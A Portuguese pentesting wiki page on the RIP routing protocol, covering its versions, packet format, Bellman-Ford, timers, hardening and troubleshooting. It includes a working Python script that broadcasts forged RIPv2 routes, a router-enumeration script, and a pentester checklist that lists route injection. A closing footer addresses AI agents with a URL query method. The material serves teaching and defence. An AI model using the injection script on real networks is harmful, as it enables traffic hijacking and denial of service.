# RIP (Routing Information Protocol)

### 📑 **Índice**

1. Fundamentos do RIP
2. Versões do Protocolo
3. Arquitetura e Funcionamento
4. Estrutura de Pacotes RIP
5. Algoritmo Bellman-Ford
6. Timers e Mecanismos de Estabilidade
7. Segurança e Vulnerabilidades
8. Pentesting com RIP
9. Configurações e Hardening
10. Troubleshooting e Diagnóstico
11. Checklists de Segurança

***

### 🔍 **Fundamentos do RIP**

#### **O que é RIP?**

O **Routing Information Protocol (RIP)** é um protocolo de roteamento dinâmico baseado em **vetor de distância**, projetado para redes pequenas e médias. Especificado originalmente na **RFC 1058** (RIPv1) e posteriormente na **RFC 2453** (RIPv2), opera na camada de aplicação (UDP porta 520) mas serve para decisões da camada de rede.

#### **Características Fundamentais**

| Característica              | Descrição                       | Implicação                                      |
| --------------------------- | ------------------------------- | ----------------------------------------------- |
| **Vetor de Distância**      | Conhece apenas vizinhos diretos | Não tem visibilidade global da topologia        |
| **Métrica Simples**         | Contagem de saltos (hops)       | Ignora largura de banda, latência, carga        |
| **Atualizações Periódicas** | Anúncios a cada 30 segundos     | Convergência lenta, tráfego constante           |
| **Limite de Saltos**        | Máximo 15 saltos                | Adequado apenas para redes pequenas             |
| **Split Horizon**           | Prevenção de loops              | Não anuncia rotas de volta pela mesma interface |

#### **Contexto Histórico**

```yaml
Evolução do RIP:
  1969: Algoritmo Bellman-Ford (base matemática)
  1982: Implementação no BSD Unix (routed)
  1988: RFC 1058 - RIPv1 (padronização)
  1993: Problemas com CIDR e VLSM identificados
  1994: RFC 1388 - Proposta de RIPv2
  1998: RFC 2453 - RIPv2 oficial
  1999: RFC 2080 - RIPng (RIP para IPv6)
  2000s: Declínio em favor de OSPF e EIGRP

Motivação original:
  ✅ Simplicidade de implementação
  ✅ Baixo consumo de recursos
  ✅ Facilidade de configuração
  ✅ Adequado para redes pequenas/homogêneas
```

#### **Posição no Modelo OSI**

```mermaid
graph TD
    subgraph "Camada 7 - Aplicação"
        RIP[RIP - Routing Information Protocol]
        DNS[DNS]
        HTTP[HTTP]
    end
    
    subgraph "Camada 4 - Transporte"
        UDP[UDP - Porta 520]
        TCP[TCP]
    end
    
    subgraph "Camada 3 - Rede"
        IP[IP]
        ROTEAMENTO[Decisões de Roteamento]
    end
    
    subgraph "Camada 2 - Enlace"
        ETH[Ethernet]
    end
    
    RIP --> UDP
    UDP --> IP
    ROTEAMENTO --> IP
    IP --> ETH
```

***

### 📊 **Versões do Protocolo**

#### **RIPv1 vs RIPv2 vs RIPng**

| Característica    | RIPv1                       | RIPv2         | RIPng         |
| ----------------- | --------------------------- | ------------- | ------------- |
| **RFC**           | 1058                        | 2453          | 2080          |
| **Suporte IPv6**  | ❌                           | ❌             | ✅             |
| **VLSM/CIDR**     | ❌                           | ✅             | ✅             |
| **Autenticação**  | ❌                           | ✅ (texto/MD5) | ✅ (IPsec)     |
| **Multicast**     | Broadcast (255.255.255.255) | 224.0.0.9     | FF02::9       |
| **Métrica**       | Saltos (1-15)               | Saltos (1-15) | Saltos (1-15) |
| **Timer Padrão**  | 30s                         | 30s           | 30s           |
| **Split Horizon** | ✅                           | ✅             | ✅             |
| **Route Tagging** | ❌                           | ✅             | ✅             |
| **Next Hop**      | ❌                           | ✅             | ✅             |

#### **Fluxo de Atualização RIPv2**

```mermaid
sequenceDiagram
    participant R1 as Roteador A
    participant R2 as Roteador B
    participant R3 as Roteador C
    
    Note over R1: Timer 30s expirado
    R1->>R2: Multicast 224.0.0.9<br/>RIP Response (rotas)
    R2->>R2: Atualiza tabela<br/>Aplica split horizon
    
    Note over R2: Timer 30s expirado
    R2->>R1: RIP Response (rotas sem split)
    R2->>R3: RIP Response (rotas)
    R3->>R3: Atualiza tabela
    
    Note over R1,R3: Convergência após<br/>múltiplos ciclos
```

***

### 🏗️ **Arquitetura e Funcionamento**

#### **Componentes Fundamentais**

```python
#!/usr/bin/env python3
# rip_components.py

class RIPComponents:
    """Componentes fundamentais do protocolo RIP"""
    
    # Constantes do protocolo
    RIP_PORT = 520
    RIP_MULTICAST = "224.0.0.9"
    RIP_VERSION_1 = 1
    RIP_VERSION_2 = 2
    
    # Timers (em segundos)
    UPDATE_TIMER = 30      # Atualizações periódicas
    INVALID_TIMER = 180    # Rota inválida se não receber atualização
    FLUSH_TIMER = 240      # Remove rota da tabela
    HOLD_DOWN_TIMER = 180  # Aguarda convergência após mudança
    
    # Limites
    MAX_HOPS = 15
    INFINITY = 16
    
    class RouteEntry:
        """Entrada na tabela de roteamento"""
        
        def __init__(self, destination, next_hop, metric, interface):
            self.destination = destination
            self.next_hop = next_hop
            self.metric = metric
            self.interface = interface
            self.timer = 0
            self.flags = []
        
        def is_valid(self):
            return self.metric < RIPComponents.INFINITY and self.timer < RIPComponents.INVALID_TIMER
```

#### **Tabela de Roteamento RIP**

```python
#!/usr/bin/env python3
# rip_routing_table.py

class RIPRoutingTable:
    """Implementação de tabela de roteamento RIP"""
    
    def __init__(self, router_id):
        self.router_id = router_id
        self.routes = {}
    
    def add_direct_route(self, network, interface, metric=1):
        """Adicionar rota diretamente conectada"""
        entry = RIPComponents.RouteEntry(network, None, metric, interface)
        self.routes[network] = entry
        print(f"➕ Rota direta: {network} via {interface}")
    
    def process_update(self, neighbor_ip, routes):
        """Processar atualização recebida de um vizinho"""
        updates_made = False
        
        for route in routes:
            destination = route['destination']
            metric = route['metric'] + 1
            
            if metric > RIPComponents.INFINITY:
                continue
            
            if destination not in self.routes:
                entry = RIPComponents.RouteEntry(destination, neighbor_ip, metric, None)
                self.routes[destination] = entry
                updates_made = True
                print(f"➕ Nova rota: {destination} via {neighbor_ip} (distância {metric})")
            
            elif metric < self.routes[destination].metric:
                old_metric = self.routes[destination].metric
                self.routes[destination].metric = metric
                self.routes[destination].next_hop = neighbor_ip
                updates_made = True
                print(f"🔄 Rota atualizada: {destination} via {neighbor_ip} ({old_metric}→{metric})")
        
        return updates_made
    
    def print_table(self):
        """Exibir tabela de roteamento"""
        print(f"\n📊 Tabela de roteamento - {self.router_id}")
        print("=" * 60)
        print(f"{'Destino':<20} {'Next Hop':<15} {'Métrica':<8} {'Interface':<10}")
        print("-" * 60)
        
        for dest, route in self.routes.items():
            if route.metric < RIPComponents.INFINITY:
                next_hop = route.next_hop or "DIRECT"
                print(f"{dest:<20} {next_hop:<15} {route.metric:<8} {route.interface or 'N/A':<10}")
        
        print("=" * 60)
```

***

### 📦 **Estrutura de Pacotes RIP**

#### **Formato do Pacote RIPv1**

```python
#!/usr/bin/env python3
# rip_packet_format.py

import struct

class RIPPacketFormat:
    """Análise do formato de pacotes RIP"""
    
    @staticmethod
    def ripv1_header():
        """Header RIPv1 (4 bytes)"""
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |     command   |    version    |           must be zero        |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        command = 1  # 1=Request, 2=Response
        version = 1
        must_be_zero = 0
        return struct.pack('!BBH', command, version, must_be_zero)
    
    @staticmethod
    def ripv2_route_entry(address_family=2, route_tag=0, ip_address=0,
                          netmask=0, next_hop=0, metric=0):
        """Entrada de rota RIPv2 (20 bytes)"""
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |        Address Family        |          Route Tag            |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |                         IP Address                           |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |                         Subnet Mask                          |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |                         Next Hop                             |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        # |                            metric                            |
        # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        
        return struct.pack('!HHIII I',
            address_family,
            route_tag,
            ip_address,
            netmask,
            next_hop,
            metric
        )
```

#### **Captura de Pacotes RIP**

```python
#!/usr/bin/env python3
# rip_capture.py

import socket
import struct
import time

class RIPCapture:
    """Capturador de pacotes RIP"""
    
    def __init__(self, interface='eth0', timeout=30):
        self.interface = interface
        self.timeout = timeout
        self.packets = []
    
    def start_capture(self):
        """Iniciar captura de pacotes RIP"""
        try:
            sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
            sock.bind((self.interface, 0))
            sock.settimeout(self.timeout)
            
            print(f"🔍 Capturando pacotes RIP na interface {self.interface}")
            
            start_time = time.time()
            while time.time() - start_time < self.timeout:
                try:
                    data, addr = sock.recvfrom(65535)
                    self._analyze_packet(data)
                except socket.timeout:
                    break
            
            sock.close()
            
        except PermissionError:
            print("❌ É necessário privilégios de root")
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def _analyze_packet(self, data):
        """Analisar pacote capturado"""
        # Ethernet header (14 bytes)
        eth_type = struct.unpack('!H', data[12:14])[0]
        
        if eth_type != 0x0800:  # IPv4
            return
        
        # IP header
        ip_header = data[14:34]
        ip_len = (ip_header[0] & 0x0F) * 4
        protocol = ip_header[9]
        
        if protocol != 17:  # UDP
            return
        
        src_ip = socket.inet_ntoa(ip_header[12:16])
        
        # UDP header
        udp_offset = 14 + ip_len
        dst_port = struct.unpack('!H', data[udp_offset+2:udp_offset+4])[0]
        
        if dst_port != 520:
            return
        
        # RIP payload
        rip_offset = udp_offset + 8
        rip_data = data[rip_offset:]
        
        if len(rip_data) >= 4:
            command, version, _ = struct.unpack('!BBH', rip_data[:4])
            print(f"📡 Pacote RIP de {src_ip}: {'REQUEST' if command == 1 else 'RESPONSE'} (v{version})")
```

***

### 🔢 **Algoritmo Bellman-Ford**

```python
#!/usr/bin/env python3
# bellman_ford.py

class BellmanFord:
    """Implementação do algoritmo Bellman-Ford para RIP"""
    
    @staticmethod
    def build_graph():
        """Construir grafo de exemplo"""
        return {
            'A': {'B': 1, 'E': 1},
            'B': {'A': 1, 'C': 1},
            'C': {'B': 1, 'D': 1, 'E': 1},
            'D': {'C': 1},
            'E': {'A': 1, 'C': 1}
        }
    
    def compute_routes(self, source):
        """Calcular rotas a partir do source"""
        graph = self.build_graph()
        
        # Inicialização
        distances = {node: float('inf') for node in graph}
        next_hop = {node: None for node in graph}
        distances[source] = 0
        
        # Relaxamento (V-1 iterações)
        for _ in range(len(graph) - 1):
            updated = False
            for u in graph:
                for v, weight in graph[u].items():
                    if distances[u] + weight < distances[v]:
                        distances[v] = distances[u] + weight
                        next_hop[v] = u if u == source else next_hop.get(u, u)
                        updated = True
            if not updated:
                break
        
        return distances, next_hop
    
    def print_routing_table(self, source):
        """Exibir tabela de roteamento"""
        distances, next_hop = self.compute_routes(source)
        
        print(f"\n📊 Tabela de roteamento - Origem: {source}")
        print("=" * 50)
        print(f"{'Destino':<10} {'Distância':<10} {'Próximo Salto':<15}")
        print("-" * 50)
        
        for router in sorted(distances):
            if router != source:
                print(f"{router:<10} {int(distances[router]):<10} {next_hop[router] or 'DIRECT':<15}")
        
        print("=" * 50)
```

#### **Problema Count-to-Infinity**

```python
#!/usr/bin/env python3
# count_to_infinity.py

class CountToInfinitySimulation:
    """Simulação do problema count-to-infinity"""
    
    def __init__(self):
        self.routes = {
            'A': {'10.0.0.0': {'metric': 1, 'via': 'DIRECT'}},
            'B': {'10.0.0.0': {'metric': 2, 'via': 'A'}},
            'C': {'10.0.0.0': {'metric': 3, 'via': 'B'}},
            'D': {'10.0.0.0': {'metric': 4, 'via': 'C'}}
        }
        self.INFINITY = 16
    
    def link_failure(self, router1, router2):
        """Simular falha de link"""
        print(f"\n💥 Falha no link entre {router1} e {router2}")
        
        for router, routes in self.routes.items():
            for dest, info in routes.items():
                if info['via'] == router2 and router == router1:
                    self.routes[router][dest]['metric'] = self.INFINITY
                    self.routes[router][dest]['via'] = None
    
    def simulate_convergence(self):
        """Simular processo de convergência"""
        iteration = 0
        while iteration < 20:
            iteration += 1
            print(f"\n--- Iteração {iteration} ---")
            
            updated = False
            
            # B ouve A
            if self._update_route('B', '10.0.0.0', 
                                   self.routes['A']['10.0.0.0']['metric'] + 1, 'A'):
                updated = True
            
            # C ouve B
            if self._update_route('C', '10.0.0.0',
                                   self.routes['B']['10.0.0.0']['metric'] + 1, 'B'):
                updated = True
            
            # D ouve C
            if self._update_route('D', '10.0.0.0',
                                   self.routes['C']['10.0.0.0']['metric'] + 1, 'C'):
                updated = True
            
            if not updated:
                print("\n✅ Convergência alcançada!")
                break
            
            self._print_state()
    
    def _update_route(self, router, dest, new_metric, via):
        """Atualizar rota"""
        current = self.routes[router][dest]['metric']
        if new_metric < current:
            self.routes[router][dest]['metric'] = new_metric
            self.routes[router][dest]['via'] = via
            return True
        return False
    
    def _print_state(self):
        """Exibir estado atual"""
        for router, routes in self.routes.items():
            metric = routes['10.0.0.0']['metric']
            via = routes['10.0.0.0']['via']
            if metric < self.INFINITY:
                print(f"   {router}: {metric} saltos via {via}")
            else:
                print(f"   {router}: INALCANÇÁVEL")
```

***

### ⏱️ **Timers e Mecanismos de Estabilidade**

```python
#!/usr/bin/env python3
# rip_timers.py

import threading
import time

class RIPTimers:
    """Gerenciamento de timers RIP"""
    
    def __init__(self, routing_table):
        self.routing_table = routing_table
        self.update_interval = 30
        self.invalid_timer = 180
        self.holddown_routes = {}
    
    def start(self):
        """Iniciar timers"""
        update_thread = threading.Thread(target=self._periodic_updates)
        timeout_thread = threading.Thread(target=self._timeout_checker)
        update_thread.start()
        timeout_thread.start()
    
    def _periodic_updates(self):
        """Atualizações periódicas a cada 30 segundos"""
        while True:
            time.sleep(self.update_interval)
            print(f"📡 Enviando atualização RIP")
    
    def _timeout_checker(self):
        """Verificar timeouts de rotas"""
        while True:
            time.sleep(10)
            for dest, route in list(self.routing_table.routes.items()):
                route.timer += 10
                if route.timer >= self.invalid_timer and route.metric < 16:
                    print(f"⏰ Rota {dest} expirou")
                    route.metric = 16
```

***

### 🔒 **Segurança e Vulnerabilidades**

#### **Ameaças ao Protocolo RIP**

```mermaid
graph TD
    A[Ameaças RIP] --> B[Anúncio de Rotas Falsas]
    A --> C[Man-in-the-Middle]
    A --> D[DoS Attacks]
    A --> E[Route Poisoning]
    
    B --> B1[Redirecionamento de tráfego]
    C --> C1[Sniffing de tabelas]
    D --> D1[Atualizações maliciosas]
    E --> E1[Count-to-infinity induzido]
```

#### **Ataque: Injeção de Rotas RIP**

```python
#!/usr/bin/env python3
# rip_injection.py

import socket
import struct

class RIPInjection:
    """Demonstração de injeção de rotas RIP (educacional)"""
    
    def __init__(self, target_network, gateway_ip):
        self.target_network = target_network
        self.gateway_ip = gateway_ip
    
    def create_rip_packet(self):
        """Criar pacote RIPv2 com rota falsa"""
        command = 2  # Response
        version = 2  # RIPv2
        packet = struct.pack('!BBH', command, version, 0)
        
        # Entrada de rota falsa
        entry = struct.pack('!HHIII I',
            2,                          # AF_INET
            0,                          # Route tag
            self._ip_to_int(self.target_network),
            0xFFFFFF00,                 # Netmask /24
            0,                          # Next hop
            1                           # Metric (rota direta)
        )
        
        return packet + entry
    
    def inject_route(self):
        """Injetar rota falsa na rede"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        
        packet = self.create_rip_packet()
        sock.sendto(packet, ('224.0.0.9', 520))
        sock.sendto(packet, ('255.255.255.255', 520))
        
        print(f"🚨 Injetando rota falsa: {self.target_network}/24")
    
    def _ip_to_int(self, ip):
        parts = ip.split('.')
        return (int(parts[0]) << 24) | (int(parts[1]) << 16) | \
               (int(parts[2]) << 8) | int(parts[3])
```

***

### 🎯 **Pentesting com RIP**

#### **Descoberta de Roteadores**

```bash
# Capturar tráfego RIP
tcpdump -i eth0 -n port 520 -v

# Escaneamento de porta UDP 520
nmap -sU -p 520 192.168.1.0/24

# Enumerar roteadores
python3 rip_enumeration.py
```

#### **Script de Enumeração**

```python
#!/usr/bin/env python3
# rip_enumeration.py

import socket
import struct

class RIPEnumeration:
    """Enumeração de roteadores RIP"""
    
    def __init__(self, timeout=10):
        self.timeout = timeout
        self.routers = set()
    
    def send_request(self):
        """Enviar solicitação RIP Request"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        sock.settimeout(self.timeout)
        
        # RIP Request
        request = struct.pack('!BBH', 1, 2, 0) + (b'\x00' * 20)
        
        sock.sendto(request, ('255.255.255.255', 520))
        sock.sendto(request, ('224.0.0.9', 520))
        
        while True:
            try:
                data, addr = sock.recvfrom(4096)
                if len(data) >= 4:
                    command, version, _ = struct.unpack('!BBH', data[:4])
                    if command == 2:
                        self.routers.add(addr[0])
                        print(f"📡 Roteador encontrado: {addr[0]}")
            except socket.timeout:
                break
        
        sock.close()
        return self.routers
```

***

### 🛡️ **Configurações e Hardening**

#### **Cisco IOS**

```bash
! Configuração segura
router rip
 version 2
 network 192.168.1.0
 no auto-summary

! Autenticação MD5
 key chain RIP-KEY
  key 1
   key-string SECURE_PASSWORD
 interface GigabitEthernet0/0
  ip rip authentication mode md5
  ip rip authentication key-chain RIP-KEY

! Passive interface
 passive-interface default
 no passive-interface GigabitEthernet0/1

! Filtros
 distribute-list 1 in
access-list 1 permit 192.168.1.0 0.0.0.255
```

#### **Firewall Rules**

```bash
# Permitir apenas peers confiáveis
iptables -A INPUT -p udp --dport 520 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p udp --dport 520 -j DROP

# Limitar taxa de pacotes
iptables -A INPUT -p udp --dport 520 -m limit --limit 10/minute -j ACCEPT
iptables -A INPUT -p udp --dport 520 -j DROP
```

***

### 🔧 **Troubleshooting e Diagnóstico**

#### **Comandos Essenciais**

```bash
# Linux
tcpdump -i any -n port 520 -v
netstat -s | grep RIP

# Cisco IOS
show ip rip database
show ip route rip
debug ip rip

# FRRouting
vtysh -c "show ip rip status"
vtysh -c "show ip rip database"
```

#### **Script de Diagnóstico**

```python
#!/usr/bin/env python3
# rip_diagnostics.py

import subprocess
import socket

class RIPDiagnostics:
    """Ferramenta de diagnóstico RIP"""
    
    def check_rip_port(self):
        """Verificar porta UDP 520"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            sock.bind(('0.0.0.0', 520))
            print("✅ Porta 520 disponível")
            sock.close()
        except socket.error:
            print("⚠️ Porta 520 em uso (RIP rodando)")
    
    def capture_rip_traffic(self):
        """Capturar tráfego RIP"""
        result = subprocess.run(
            ['timeout', '5', 'tcpdump', '-i', 'any', '-n', 'port', '520', '-c', '5'],
            capture_output=True, text=True
        )
        
        if result.stdout:
            print("✅ Tráfego RIP detectado")
        else:
            print("⚠️ Nenhum tráfego RIP detectado")
```

***

### 📋 **Checklists de Segurança**

#### **Checklist para Administradores**

* [ ] Utilizar RIPv2 (não RIPv1)
* [ ] Habilitar autenticação MD5
* [ ] Usar senhas fortes (mínimo 16 caracteres)
* [ ] Configurar passive interfaces
* [ ] Implementar filtros de distribuição
* [ ] Configurar timers adequados
* [ ] Monitorar atualizações RIP

#### **Checklist para Pentesters**

* [ ] Escanear porta UDP 520
* [ ] Capturar anúncios RIP
* [ ] Identificar versão do protocolo
* [ ] Testar ausência de autenticação
* [ ] Tentar injeção de rotas
* [ ] Documentar vulnerabilidades

***

### 📈 **Conclusão e Referências**

#### **Resumo Técnico**

```yaml
RIP é um protocolo legado com características:
  
  ✅ Pontos Fortes:
    - Simplicidade de configuração
    - Baixo consumo de recursos
    - Ampla compatibilidade
  
  ❌ Pontos Fracos:
    - Convergência lenta
    - Métrica limitada (15 saltos)
    - Vulnerável a ataques
    - Sem suporte a hierarquia
  
  🎯 Quando usar:
    - Redes muito pequenas (< 50 roteadores)
    - Ambiente de laboratório
    - Dispositivos com recursos limitados
```

#### **Referências**

* **RFC 1058** - Routing Information Protocol (RIPv1)
* **RFC 2453** - RIP Version 2 (RIPv2)
* **RFC 2080** - RIPng for IPv6
* **RFC 4822** - RIPv2 Cryptographic Authentication


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-roteamento/rip-routing-information-protocol.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
